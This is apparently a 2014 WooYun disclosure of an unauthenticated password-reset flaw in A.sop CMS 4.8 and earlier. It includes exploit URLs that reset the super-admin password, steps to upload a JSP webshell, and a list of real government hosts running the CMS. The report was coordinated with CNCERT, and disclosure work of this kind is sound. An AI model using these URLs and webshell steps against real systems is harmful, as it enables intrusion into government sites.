[公开漏洞]A.sop CMS4.8及以下版本存在任意用户密码重置漏洞

来源：WooYun　浏览：837次　时间：2014-05-22

A.sop CMS4.8及以下版本存在任意用户密码重置漏洞相关厂商：北京航天四创软件公司漏洞作者：刺刺提交时间：2014-02-13 14:31 公开时间：2014-05-14 14:32 漏洞类型：非授权访问/权限绕过危害等级：中自评Rank：8 漏洞状态：已交由第三方厂商(cncert国家互联网应急中心)处理漏洞来源：http://www.wooyun.org Tags标签：越权操作认证缺陷漏洞详情披露状态：

2014-02-13：细节已通知厂商并且等待厂商处理中
2014-02-18：厂商已经确认，细节仅向厂商公开
2014-02-21：细节向第三方安全合作伙伴开放
2014-02-28：细节向核心白帽子及相关领域专家公开
2014-03-10：细节向普通白帽子公开
2014-03-30：细节向实习白帽子公开
2014-05-14：细节向公众公开

简要描述：

该漏洞影响的是A.sop CMS 4.8及以下版本，基本上是为http://www.wooyun.org/bugs/wooyun-2010-013964的补充；
本来这些版本的用户也没有几个了，加上版本较早，无论是兼容性还是功能性都没有什么亮点，但是还有几个相对有点分量，于是希望cncert能够协调告知。

详细说明：

a.sop CMS4.8以下版本权限控制松散，有很多功能权限的验证采用了js验证，或者是没有验证，其中影响最大的是管理用户部分：

比如：

http://cms.qingdao.gov.cn:10000/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1

可以直接查看平台超级用户的资料：

这里可以得到超级用户的用户名，变换sn=1的值，可以看到其他的管理用户信息；

这里只是个辅助；

主要的越权是直接重置用户密码；

比如：

http://cms.qingdao.gov.cn:10000/cmsweb/admin/resetUserPasswordAction.do?dn=dc=cms,cn=human,sn=1

直接get访问以上link，超级用户cmsdev的用户名就会被重置成password

（个别的可能存在js验证，你可以通过FF的noscript来验证）

继续补充一点，如何获取shell

使用重置密码的超级用户cmsdev登录，

http://cms.qingdao.gov.cn:10000/cmsweb

（由于该系统对浏览器的支持不好，建议你找一个低版本的IE，比如IE6）

点击内容管理，进入对应的栏目添加文章，

在附件上传那里直接上传jsp脚本即可

上传完成，选择编辑器底部的html查看源码，可以看到上传的jsp脚本路径

jsp脚本木马的路径就是

http://cms.qingdao.gov.cn:10000/n16858051/n16858711/n28030640.files/n28030645.jsp

访问如图：

漏洞证明：

目前能够搜到的A.sop cms大概有这些,南宁市，合肥市，科协，体育总局，青岛市等等：

http://cms.qingdao.gov.cn:10000/cmsweb

http://58.59.136.79:7001/cmsweb/

http://58.59.136.81:8000/cmsweb

http://218.21.246.6:7001/cmsweb

http://220.178.124.29:7001/cmsweb

http://210.14.113.47:7001/cmsweb/

http://220.178.124.33:7001/cmsweb

http://202.204.24.102:7001/cmsweb

http://cms.qingdao.gov.cn:10000/cmsweb

http://www.qdsn.gov.cn:7001/cmsweb

http://cms.laoshan.gov.cn:7001/cmsweb/

http://cms.sport.gov.cn/cmsweb/

验证重置科协的后台超级用户密码，password登入：

至于国家体育总局，看看用户信息可以

http://cms.sport.gov.cn/cmsweb/admin/loadUserAttrAction.do?dn=dc=cms,cn=human,sn=1

重置密码和上传就不验证了。(祝愿中国健儿在本届冬奥会取得更好的成绩！)

（其实从别的系统试探过，体育总局部署有WAF的，脚本木马会被拦截的。）

修复方案：

换一款CMS产品吧。

价格便宜，功能质量好的有很多。

危害等级：高

漏洞Rank：20

确认时间：2014-02-18 10:04

厂商回复：

CNVD确认并在多个实例上复现所述情况，根据测试结果，已经转由CNCERT向广西、内蒙古、安徽、山东等省份下发处置任务，同时还将继续对可能存在更高层级用户进行测试。如后续有涉及国家部委网站的情况，也请白帽子继续提供。

rank 20